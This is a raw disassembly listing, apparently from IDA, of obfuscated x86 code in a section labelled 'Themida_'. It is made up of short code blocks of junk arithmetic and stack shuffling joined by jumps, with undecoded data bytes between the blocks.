; ---------------------------------------------------------------------------


loc_55677B:				; CODE XREF: Themida_:005623D6j
		pop	esp
		push	edx
		mov	edx, 293E0C7Eh
		inc	edx
		push	edx
		not	dword ptr [esp]
		jmp	loc_55FDC7
; ---------------------------------------------------------------------------
		dd 4C481h, 0E90000h, 8B0000AFh,	0C483241Ch, 0F32CE904h
		dd 0C483FFFFh, 0E7895704h, 4C781h, 0EF830000h, 243C3304h
		dd 33243C31h, 79E9243Ch, 89FFFFABh, 0E6892434h,	354BBF57h
		dd 8FE91C5Ch, 89000079h, 0C5015BD8h, 242C3358h,	33242C31h
		dd 248B242Ch, 0A640E924h, 0C180FFFFh, 0C830587Ch, 55C33059h
		dd 4C69E9h, 7EC46800h, 37E90000h, 81FFFFC8h, 0E80571C3h
		dd 2434FF5Dh, 8B2CE958h, 0C159FFFFh, 0F74303EBh, 17EB81DBh
		dd 8168563Ah, 52FBC7F3h, 5BDD0988h, 343ECD81h, 0C5814459h
		dd 0CBCEEC0Bh, 0E95DEE29h, 6E18h, 0C781D7F7h, 52DA0B7Eh
		dd 0FFFD00E9h, 241C89FFh, 0EB8030B3h, 0BC3803Fh, 77E9DD00h
		dd 5D00008Ch, 0FFEBB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55685D:				; CODE XREF: Themida_:00552FCFj
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	22C1h
		jmp	loc_551862
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 9Ch
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_556873:				; CODE XREF: Themida_:00553DD7j
		push	ebx
		mov	ebx, 3F525177h
		sub	ebx, 12763C96h
		sub	ebx, 7525539Dh
		shl	ebx, 4
		sub	ebx, 7B6C143Ch
		add	eax, ebx
		pop	ebx
		push	6022h
		mov	[esp], esi
		push	edx
		jmp	loc_54E709
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 50000000h,	64D07B8h, 6850522Ah, 7B8492Dh
		dd 7EE63558h, 423578D9h, 8926B155h, 0C28158C2h,	30EB01C9h
		dd 70E4EA81h, 0D2F73A36h, 269CC281h, 1B68311Ch,	8900007Eh
		dd 81B9240Ch, 4103716Ah, 45ACE981h, 0C5E99D96h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5568EF:				; CODE XREF: Themida_:00551D9Ej
		add	edi, 583F0C82h
		mov	ebp, [esp]
		jmp	loc_55C60E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5024048Bh, 405E089h,	83000000h, 48704C0h, 24248B24h
		dd 19B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_556919:				; CODE XREF: Themida_:0055106Dj
		pop	esp
		mov	[esp], esi
		push	ebp
		push	edx
		jmp	loc_550A75
; ---------------------------------------------------------------------------
		dd 78F18141h, 890B79D0h, 0FCEDE9CDh, 8850FFFFh,	58E288FCh
		dd 60DDE9h, 0C5E95500h,	0E9FFFFB7h, 0FFFF747Dh,	1EFEC181h
		dd 0D90168ABh, 1EFEE981h, 318868ABh, 83240C8Bh,	148B04C4h
		dd 97CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556966:				; CODE XREF: Themida_:005557C3j
		pop	esi
		add	esi, 57FA09C2h
		jmp	loc_552A0F
; ---------------------------------------------------------------------------
		dw 0CE28h
		dd 8BF03059h, 89562414h, 8969E9E6h, 77FFFFFFh, 2434FF1Ch
		dd 26666858h, 2C890000h, 0E9E58924h, 0B56Dh, 2474FF50h
		dd 48F5804h, 24248B24h,	64D568h, 240C8900h, 0B05021B1h
		dd 8BC13097h, 0C4832404h, 5DE0E904h, 89530000h,	4C381E3h
		dd 83000000h, 1C8704C3h, 82B9E924h, 1489FFFFh, 0F3FDE924h
		dd 85B9FFFFh, 1D5CEFEh,	908FE9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5569E6:				; CODE XREF: Themida_:0055A622j
		add	ebx, 7DCB400Dh
		sub	ebx, edx
		sub	ebx, 7DCB400Dh
		sub	ebx, 13155003h
		pop	edx
		sub	ebx, 1
		dec	ebx
		sub	ebx, 0D7B5C342h
		jmp	loc_54FCC4
; ---------------------------------------------------------------------------
		db 29h,	0C3h, 81h
		dd 0C10851C3h, 34EB8172h, 0E911756Dh, 0FFFFFDDFh, 0F708E2C1h
		dd 0D6E950D2h, 5BFFFFAEh, 8058E388h, 0D83069C3h, 8B2434FFh
		dd 0C483241Ch, 961EE904h, 0EA81FFFFh, 2C9D715Eh, 0C281CA01h
		dd 2C9D715Eh, 2E3FEA81h, 0C8B6112h, 0E2895224h,	4C281h
		dd 0C2810000h, 4, 5C241487h, 0CAE9EA01h, 68FFFFC7h, 3DEFh
		dd 0FFA539E9h, 6DE135FFh, 240D369Fh, 0E9160165h, 0FFFFB515h
		dd 0E9241C8Bh, 68EFh, 8ACEF81h,	0B5E90BB4h, 80FFFFF9h
		dd 526651CDh, 0D52062B2h, 0CD805A66h, 2E5C027h,	805CCD80h
		dd 8852F2F5h, 0E63CE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556ABE:				; CODE XREF: Themida_:0055CE7Dj
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	4622h
		mov	[esp], ebx
		mov	ebx, 24h
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558CD1
; ---------------------------------------------------------------------------
		dd 31243433h, 34332434h, 24248B24h, 240C8B66h, 4B3B6850h
		dd 24890000h, 0C7E95324h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556AFB:				; CODE XREF: Themida_:0055834Bj
		mov	[esp], esp
		jmp	loc_54F6A3
; ---------------------------------------------------------------------------


loc_556B03:				; CODE XREF: Themida_:0055B9F8j
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 356A771Bh
		xchg	ebp, esi
		inc	ebp
		xchg	ebp, esi
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 6307A5Fh
		jmp	loc_55B4D1
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFB002E9h, 5E089FFh, 4, 0E904C083h,	0FFFFD26Ah
; ---------------------------------------------------------------------------


loc_556B40:				; CODE XREF: Themida_:0055B58Cj
		add	esp, 4
		add	ecx, 4
		jmp	loc_5577B8
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0BD55240Ch, 3EB342A0h, 43E95257h,	5800002Fh
		dd 40E9DE89h, 5800003Fh, 0E9243C28h, 321Dh, 0E904E1C1h
		dd 0FFFFD950h, 9D1C77FFh, 24041158h, 7237E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556B8E:				; CODE XREF: Themida_:0055633Cj
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_561A80
; ---------------------------------------------------------------------------


loc_556B9C:				; CODE XREF: Themida_:0055FE17j
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ecx
		push	6F8C618Fh
		jmp	loc_5549B4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 242C8924h, 0B71EE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556BBE:				; CODE XREF: Themida_:0055C2EBj
		xor	eax, [esp]
		jmp	loc_561367
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 14F30E5Bh, 58EAC581h, 0DD2927EFh, 0FF8326E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556BD9:				; CODE XREF: Themida_:0055CF97j
		add	ecx, 0C68AAB68h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, 20B85B10h
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		sub	dword ptr [esp], 68D912A5h
		pop	edx
		add	edx, 68D912A5h
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55FBB4
; ---------------------------------------------------------------------------


loc_556C28:				; CODE XREF: Themida_:0055A459j
		sub	ebp, 2E471C79h
		sub	ebp, edi
		add	ebp, 2E471C79h
		jmp	loc_55270B
; ---------------------------------------------------------------------------
		db 53h
		dd 8904EC83h, 0DAB42404h, 5158E388h, 0C888D988h, 590C5B59h
		dd 0B8AE9h, 3AE98000h, 0FFE165E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C5D:				; CODE XREF: Themida_:00557C30j
		add	esi, edi
		push	ebx
		mov	ebx, 70E640FBh
		sub	ebx, 1D4B3397h
		sub	esi, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		add	ebp, esi
		jmp	loc_55F79E
; ---------------------------------------------------------------------------


loc_556C7B:				; CODE XREF: Themida_:0055CA8Fj
		pop	edi
		shr	eax, 6
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_558383
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 44h
		dd 81274631h, 94247C6h,	240C8B2Ch, 7976E9h, 242C8B00h
		dd 0FFF3AEE9h, 5DEA31FFh, 44BFBB53h, 0DBF72038h, 3C21CB81h
		dd 0BE5643FCh, 0BE20BAh, 0FF95AEE9h, 3C8759FFh,	0E9565C24h
		dd 1789h
; ---------------------------------------------------------------------------


loc_556CDC:				; CODE XREF: Themida_:00554BF2j
		push	1072h
		jmp	loc_55E276
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 54EE8102h, 0F7095A4Eh, 338FE9D6h, 4FB40000h,	492CE9h
		dd 2434FF00h, 8B2434FFh, 0C4832404h, 7850E904h,	0EA810000h
		dd 422204Ch, 796EE9h, 5E0A6800h, 4890000h, 321DE924h, 0EC810000h
		dd 4, 0B9240C89h, 566C4B6Dh, 0E904EC83h, 0FFFF8258h
; ---------------------------------------------------------------------------


loc_556D3C:				; CODE XREF: Themida_:005528AEj
		push	ecx
		mov	ecx, 40073B83h
		jmp	loc_559640
; ---------------------------------------------------------------------------
aVsf		db 'Véäš',0
		dd 5EBC100h, 8143D3F7h,	12ED87EBh, 3EBC18Ah, 1EB81h, 0E3C10000h
		dd 4350E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D6A:				; CODE XREF: Themida_:00552EB9j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		and	edx, 0A070A43h
		push	3499h
		mov	[esp], eax
		mov	eax, 0A030A02h
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, edx
		jmp	loc_55BDCB
; ---------------------------------------------------------------------------


loc_556D93:				; CODE XREF: Themida_:0056160Dj
		or	eax, eax
		jz	loc_5583C2
		push	2029h
		mov	[esp], eax
		mov	eax, 1Ch
		add	eax, edi
		push	dword ptr [eax]
		mov	ecx, [esp]
		jmp	loc_54E2EA
; ---------------------------------------------------------------------------
		dd 17382768h, 0B2DFE96Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556DBE:				; CODE XREF: Themida_:00561D93j
		mov	edx, esp
		jmp	loc_55A259
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 35h
		dd 81482372h, 0A5F908C6h, 86AEE9F2h, 0FA01FFFFh, 6EAC15Fh
		dd 62E9EA87h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556DE3:				; CODE XREF: Themida_:0055DDE6j
		add	dword ptr [esp], 1D7548BAh
		jmp	loc_559816
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 194D6857h, 0F75F697Dh, 0F3EF81DFh
		dd 817E8273h, 0C40B88EFh, 5FFE8998h, 3077CE81h,	3CE921CEh
		dd 8BFFFFCFh, 8950241Ch, 405E0h, 4050000h, 87000000h, 5D5C2404h
		dd 47E5E681h, 0E6C14836h, 4DC68102h, 1046A6Dh, 24348BF2h
		dd 4C481h, 0EA810000h, 3BD451A0h, 0BF57C201h, 3561326Dh
		dd 477CF781h, 9E9086Eh,	89000088h, 49E92414h, 8BFFFFFFh
		dd 0C3832424h, 241C3302h, 33241C31h, 0DE9241Ch,	89000006h
		dd 24048BC3h, 504C483h,	6A406905h, 0FFF320E9h, 6F2FE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E96:				; CODE XREF: Themida_:0054F53Cj
		push	edi
		mov	edi, 23E3469Ah
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	3209h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	5FDEh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 671452F9h
		and	ebx, 2C4D0778h
		inc	ebx
		shl	ebx, 6
		dec	ebx
		xor	ebx, 1009E3Bh
		add	eax, ebx
		jmp	loc_550EC8
; ---------------------------------------------------------------------------


loc_556EE0:				; CODE XREF: Themida_:0054EE6Ej
		pop	eax
		add	eax, 4
		jmp	loc_5549E4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 70990827h, 6210D8BAh, 0B701E91Ch, 0CA010000h, 29FB68h
		dd 240C8900h, 2D08BA52h, 7BE91A29h, 8000006Ah, 0E92CB7EEh
		dd 9AE9D82Ch, 530000B7h, 0FFE31DE9h, 241CF7FFh,	6E9BE99Ch
		dd 0A4BBFFFFh, 894CE573h, 3CE95BDAh, 33FFFFDDh,	248B2404h
		dd 2434FF24h, 6DDD6858h, 2C890000h, 56E58924h, 0C6815E54h
		dd 4, 4EE81h, 34870000h, 0C895C24h, 4B924h, 0CD010000h
		dd 87E4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556F6E:				; CODE XREF: Themida_:0055BA4Fj
		add	ebx, ecx
		sub	ebx, 2FD91D86h
		jmp	loc_55EBB2
; ---------------------------------------------------------------------------
		db 42h
		dd 3BF1C281h, 0D6296827h, 2434875Ah, 242C895Ch,	0FFFF5AE9h
		dd 7CC181FFh, 5E5DD040h, 0ABA7E9h, 0C3305B00h, 0FFA2C7E9h
		dd 0E9EE2CFFh, 1E87h
; ---------------------------------------------------------------------------


loc_556FAC:				; CODE XREF: Themida_:0055A9E8j
		sub	ecx, 3BF377B0h
		sub	ecx, edi
		add	ecx, 3BF377B0h
		pop	edi
		xor	ebx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 40226741h
		sub	ecx, 4022673Dh
		jmp	loc_552E47
; ---------------------------------------------------------------------------
		dd 4C481h, 0BF570000h, 4B0F7417h, 81DFF747h, 0F7417C7h
		dd 0F4FEE94Bh, 77FFFFFFh, 2434FF3Ch, 582434FFh,	0E7B68h
		dd 0E0EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557002:				; CODE XREF: Themida_:0055C609j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54EA6B
; ---------------------------------------------------------------------------


loc_557019:				; CODE XREF: Themida_:0054F11Ej
		push	5E6Eh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_557CE0
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 8F5A0424h, 685C2404h, 3BCDh,	0E9243C89h, 68CAh, 4C481h
		dd 0C870000h, 24248B24h, 0FF6D70E9h, 8F5935FFh,	0C381951Dh
		dd 76B56E2Eh, 0EB81C329h, 76B56E2Eh, 0FFFAFAE9h, 2749B9FFh
		dd 77E92171h, 8B000096h, 2682404h, 8900000Eh, 0EC832414h
		dd 24248904h, 4240483h,	4C2815Ah, 50000000h, 0FFC5F3E9h
		dd 240C87FFh, 6624248Bh, 9C243CD3h, 0FF6D1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5570A9:				; CODE XREF: Themida_:0055292Dj
		mov	[esp], eax
		push	esi
		mov	esi, 2F740CA7h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 249969F6h
		add	dword ptr [esp+8], 697E3E9Bh
		add	[esp+8], ebp
		jmp	loc_562072
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 5C4EBE24h, 4DE95717h, 5A000031h, 0F553E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5570E6:				; CODE XREF: Themida_:00554BCDj
		add	esp, 4
		xor	edi, 5BD41542h
		push	ebx
		mov	ebx, 1B9A5556h
		jmp	loc_552F3F
; ---------------------------------------------------------------------------


loc_5570FD:				; CODE XREF: Themida_:00559908j
		sub	ebx, 3645321Dh
		add	ebx, edi
		add	ebx, 3645321Dh
		push	ebp
		mov	ebp, 17037940h
		shr	ebp, 6
		add	ebp, 7668389Ch
		add	ebx, ebp
		pop	ebp
		add	dword ptr [ebx], 1
		jmp	loc_55A18C
; ---------------------------------------------------------------------------


loc_557128:				; CODE XREF: Themida_:00557744j
		push	3091h
		mov	[esp], edx
		mov	edx, 6C2A7E69h
		push	eax
		push	718F5283h
		jmp	loc_562491
; ---------------------------------------------------------------------------
		dd 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D5F0
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF810000h, 4, 0B412E9h, 5C38100h, 0E9B5E67Ah
		dd 0FFFF7F5Ch
; ---------------------------------------------------------------------------


loc_557170:				; CODE XREF: Themida_:005592B6j
		pop	esp
		mov	edx, 7ACB576Dh
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551A19
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 5C240C87h, 8B24048Fh, 34FF2424h, 8E8BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55719E:				; CODE XREF: Themida_:00551A86j
		add	eax, 4567301Ah
		add	eax, 6C891336h
		jmp	loc_55D193
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 16h
		dd 8106243Ch, 0C11CE8C9h, 9FFBE928h, 5466FFFFh,	24048F66h
		dd 0FFC539E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571C9:				; CODE XREF: Themida_:0055FC7Aj
		add	edx, 4
		jmp	loc_55305D
; ---------------------------------------------------------------------------
		dd 7995E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571DA:				; CODE XREF: Themida_:005614E3j
		push	ebx
		xchg	ebx, [esp]
		jmp	loc_54E587
; ---------------------------------------------------------------------------


loc_5571E3:				; CODE XREF: Themida_:0055F2CFj
		push	33E2h
		mov	[esp], ebp
		mov	ebp, 5BCE189Fh
		jmp	loc_557CC4
; ---------------------------------------------------------------------------


loc_5571F5:				; CODE XREF: Themida_:005517D1j
		add	edi, 22B03861h
		pop	ebp
		pop	esi
		and	eax, edi
		pop	edi
		jmp	loc_556145
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 248B242Ch, 26685124h, 89000011h, 0CBE92424h
		dd 51FFFFD5h, 0C181E189h, 4, 4C181h, 0C870000h,	4335C24h
		dd 24043124h, 5C240433h, 0FFE87CE9h, 8BDE01FFh,	2CE9241Ch
		dd 5C000030h, 0FFC0A6E9h, 235C68FFh, 36E9500Dh,	50FFFFE1h
		dd 721B56B8h, 2AD52D0Dh, 0D8F7779Dh, 0D4F08505h, 96CBE995h
		dd 14890000h, 4EC8124h,	89000000h, 4832424h, 34FF0424h
		dd 89565A24h, 4BF57E6h,	1000000h, 243C8BFEh, 81E78957h
		dd 4C7h, 4C78300h, 4EC81h, 5FE90000h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5572AB:				; CODE XREF: Themida_:00551333j
		xor	esi, 18061DCFh
		sub	esi, 0D3722587h
		add	ecx, 5FCB659Eh
		sub	ecx, esi
		sub	ecx, 5FCB659Eh
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_5522D3
; ---------------------------------------------------------------------------
aCUyCS		db 'µc îYÀæ',7,'é¿~',0
		align 2
		dw 0C483h
		dd 2434FF04h, 4C4815Bh,	0E9000000h, 0FFFF6AD1h,	0CAE9028Fh
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572FB:				; CODE XREF: Themida_:00554FD9j
		mov	esi, 1AAA4335h
		add	esi, 6A08141Dh
		dec	esi
		sub	esi, 0FFFFFFFFh
		neg	esi
		add	esi, 84B25756h
		jmp	loc_550B5B
; ---------------------------------------------------------------------------
a1Ysf7		db '1ÈYéä7',0
		align 2


loc_557322:				; CODE XREF: Themida_:0055DF53j
		pop	dx
		push	eax
		push	edx
		mov	dl, 0B2h
		push	ebx
		jmp	loc_5615DA
; ---------------------------------------------------------------------------
aISjl		db '‰Ã醫',0
		dd 24048900h, 5A55EEB8h, 5E8C107h, 0FF7021E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557345:				; CODE XREF: Themida_:0054F5C8j
		pop	eax
		push	ecx
		mov	ecx, 28D70D45h
		xor	ecx, 28D70D41h
		jmp	loc_555E19
; ---------------------------------------------------------------------------
		db 89h
		dd 0E2892414h, 4C281h, 4D680000h, 8900001Eh, 5A542414h
		dd 4C281h, 0B9510000h, 4, 8759CA29h, 248B2414h,	241C8924h
		dd 4BBh, 0FFDA2900h, 835B2434h,	17E904C4h, 5FFFFFA3h, 0FF88C6E9h
		dd 241C33FFh, 91B6E9h, 0E9535500h, 313Fh, 8304C483h, 0BE5604C4h
		dd 4, 0CD6C781h, 0F7016625h, 0CD6EF81h,	505E6625h, 413ED4B8h
		dd 0D6BE563Dh, 0E93D413Eh, 4545h
; ---------------------------------------------------------------------------


loc_5573D8:				; CODE XREF: Themida_:0055088Bj
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		push	4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sub	ecx, 1D380DE6h
		sub	ecx, 27695C68h
		add	ecx, eax
		push	ebp
		mov	ebp, 11E156D6h
		not	ebp
		dec	ebp
		sub	ebp, 0C6B54CC0h
		add	ecx, ebp
		pop	ebp
		add	ecx, 1D380DE6h
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55118C
; ---------------------------------------------------------------------------


loc_55743D:				; CODE XREF: Themida_:0054ED48j
		shl	edi, 2
		jmp	loc_558253
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18100h, 87000000h, 3DE9240Ch, 81000027h, 393AB7C9h
		dd 8E9C102h, 0FF8343E9h, 4C481FFh, 53000000h, 194BA52h
		dd 0E2813324h, 365C30BBh, 2016F281h, 0DAF76250h, 0E904EAC1h
		dd 0AD22h, 5C03685Ch, 2C890000h, 81E58924h, 4C5h, 9FE95000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574A3:				; CODE XREF: Themida_:0055995Bj
		add	ebp, edi
		jmp	loc_5625ED
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 81C44DB1h, 0FF7F73E9h, 242C87FFh, 8924248Bh,	0B951241Ch
		dd 3A84573h, 542FE956h,	0EB010000h, 4F83E9h, 0E9DBF700h
		dd 668Ch, 148BF488h, 4C48324h, 48BE788h, 4C48124h, 0FF000000h
		dd 0C8B2434h, 4C48124h,	0E9000000h, 6D84h, 0E904EC83h
		dd 86A6h, 5C243433h, 24148966h,	0FFCF0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557511:				; CODE XREF: Themida_:00559811j
		sub	edi, 2AC0225Ah
		sub	edi, 5BF011A2h
		xor	edi, 20010278h
		add	edi, 5686F9B8h
		jmp	loc_54FB13
; ---------------------------------------------------------------------------


loc_55752E:				; CODE XREF: Themida_:005615C9j
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_55D97B
; ---------------------------------------------------------------------------
		dd 3324248Bh, 34312434h, 24343324h, 3024248Bh, 0E99C2404h
		dd 0FFFF6875h, 15DFE95Ah, 335F0000h, 34312434h,	24343324h
		dd 2404295Ch, 685BE99Ch, 8950FFFFh, 58C589F0h, 8124348Bh
		dd 4C4h, 5DEF2900h, 2474FF57h, 48F5F04h, 0DBCAE924h, 8B66FFFFh
		dd 5457240Ch, 5F2434FFh, 8104C483h, 4C7h, 0D3E3E900h, 0D789FFFFh
		dd 8324148Bh, 7C0104C4h, 33E90824h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5575B3:				; CODE XREF: Themida_:0055C23Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	2749h
		mov	[esp], ebp
		jmp	loc_55E979
; ---------------------------------------------------------------------------


loc_5575CF:				; CODE XREF: Themida_:00551C68j
		push	dword ptr [esp]
		jmp	loc_54FDDB
; ---------------------------------------------------------------------------
		db 89h
		dd 0D67FE9E0h, 0AEBBFFFFh, 0F70AAE2Dh, 0A3C381DBh, 31D22F61h
		dd 0E9555BDEh, 1FD5h
; ---------------------------------------------------------------------------


loc_5575F4:				; CODE XREF: Themida_:00559B93j
		pop	esi
		jmp	loc_55112C
; ---------------------------------------------------------------------------


loc_5575FA:				; CODE XREF: Themida_:0055241Cj
		push	esp
		pop	ebx
		push	esi
		mov	esi, 430559C4h
		xor	esi, 430559C0h
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 3565510Ah
		or	edi, 4BA72A91h
		shr	edi, 2
		jmp	loc_55FA95
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4832404h, 48B0424h, 7C246824h, 0ABE90000h, 100001Bh
		dd 53525EF0h, 3F4468h, 24048900h, 0B25ED0B8h, 765BBB32h
		dd 0C32987C9h, 6ED0E9h
		db 0
; ---------------------------------------------------------------------------


loc_557651:				; CODE XREF: Themida_:0055C986j
		add	esp, 4
		jmp	loc_55D792
; ---------------------------------------------------------------------------


loc_55765C:				; CODE XREF: Themida_:0054EA3Cj
		xor	esi, 6DAA5AE4h
		neg	esi
		jmp	loc_560996
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C5h
		dd 2BDC773Fh, 0ED81C501h, 2BDC773Fh, 70F8E9h, 0E9515200h
		dd 0FFFFF9E9h, 761DBB53h, 0D8290A35h, 0FFBEE5E9h, 243C8BFFh
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 12ECh
; ---------------------------------------------------------------------------


loc_5576AC:				; CODE XREF: Themida_:0055E6FAj
		pop	eax
		pop	ebx
		sub	al, ch
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 663F2EC0h
		dec	ecx
		neg	ecx
		jmp	loc_55463A
; ---------------------------------------------------------------------------
		db 5
		dd 0B407EAE3h, 0FF8414E9h, 145ABBFFh, 0D8297AC8h, 334C2D5Bh
		dd 0CCE97FA5h, 55FFFFB1h, 5944BD66h, 8EDC166h, 0A9F58166h
		dd 0EA096641h, 0C281665Dh, 0C166116Ch, 816607EAh, 666701C2h
		dd 148BD301h, 0D357E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557712:				; CODE XREF: Themida_:0054EB12j
		mov	edx, 1CA61932h
		push	ebx
		mov	ebx, 230F022Ah
		push	edi
		mov	edi, 5D1D7A96h
		sub	edx, edi
		pop	edi
		sub	edx, ebx
		add	edx, 5D1D7A96h
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ecx
		push	ebp
		mov	ebp, 47EE6E7Bh
		jmp	loc_55B716
; ---------------------------------------------------------------------------


loc_557743:				; CODE XREF: Themida_:00562084j
		push	edi
		jmp	loc_557128
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0D42E9h, 34EA8100h, 0E9D9B2AEh, 0FFFF7618h, 31241433h
		dd 14332414h, 6151E924h, 8B5F0000h, 0C4832434h,	0E9CF0104h
		dd 191Ah, 24043166h, 6643E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557782:				; CODE XREF: Themida_:0055F348j
		push	esi
		jmp	loc_55638C
; ---------------------------------------------------------------------------
aXhci		db 'XhcI',0
		align 2
		dw 1C89h
aSv		db '$é‚$',0
		align 2


loc_557796:				; CODE XREF: Themida_:0055B75Dj
		add	esi, 4F585BABh
		jmp	loc_55F13E
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 0EC81D2F6h, 4, 0E9240489h, 0FFFFF483h
; ---------------------------------------------------------------------------


loc_5577B8:				; CODE XREF: Themida_:00556B4Cj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		push	3389h
		mov	[esp], edi
		mov	edi, 435D6764h
		jmp	loc_5542FD
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0B6523Ch, 10E9F000h,	81FFFFDEh, 2C3h, 74FF5300h, 0CCE90424h
		dd 0BE000039h, 76E40E8Bh, 66D7EE81h, 0C6815F4Dh, 0EC6188B3h
		dd 295EF501h, 0EA015DEAh, 3FCEC281h, 63E935E0h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55781F:				; CODE XREF: Themida_:00559485j
		sub	ebx, ecx
		sub	ebx, 26371EA3h
		jmp	loc_5593FD
; ---------------------------------------------------------------------------
